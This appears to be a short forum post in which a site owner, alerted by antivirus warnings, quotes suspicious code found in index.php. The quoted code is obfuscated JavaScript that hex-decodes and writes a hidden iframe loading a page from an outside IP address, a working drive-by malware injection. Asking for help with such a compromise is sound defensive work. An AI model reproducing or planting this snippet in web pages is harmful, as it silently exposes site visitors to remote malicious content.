I got a report regarding security issue in some web pages since some anti-virus softwares notify the existing of trojan. After looking the code in detail, I found below code in index.php.
<script>function v475ecab335e87(v475ecab336686){ function v475ecab336e79 () {var v475ecab337941=16; return v475ecab337941;} return(parseInt(v475ecab336686,v475ecab336e79()));}function v475ecab338244(v475ecab338637){ function v475ecab33922b () {var v475ecab339627=2; return v475ecab339627;} var v475ecab338a3c='';for(v475ecab338e2e=0; v475ecab338e2e<v475ecab338637.length; v475ecab338e2e+=v475ecab33922b()){ v475ecab338a3c+=(String.fromCharCode(v475ecab335e87(v475ecab338637.substr(v475ecab338e2e, v475ecab33922b()))));}return v475ecab338a3c;} document.write(v475ecab338244('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D65613862207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3335373132292B273435356465643433645C272077696474683D3732206865696768743D343936207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>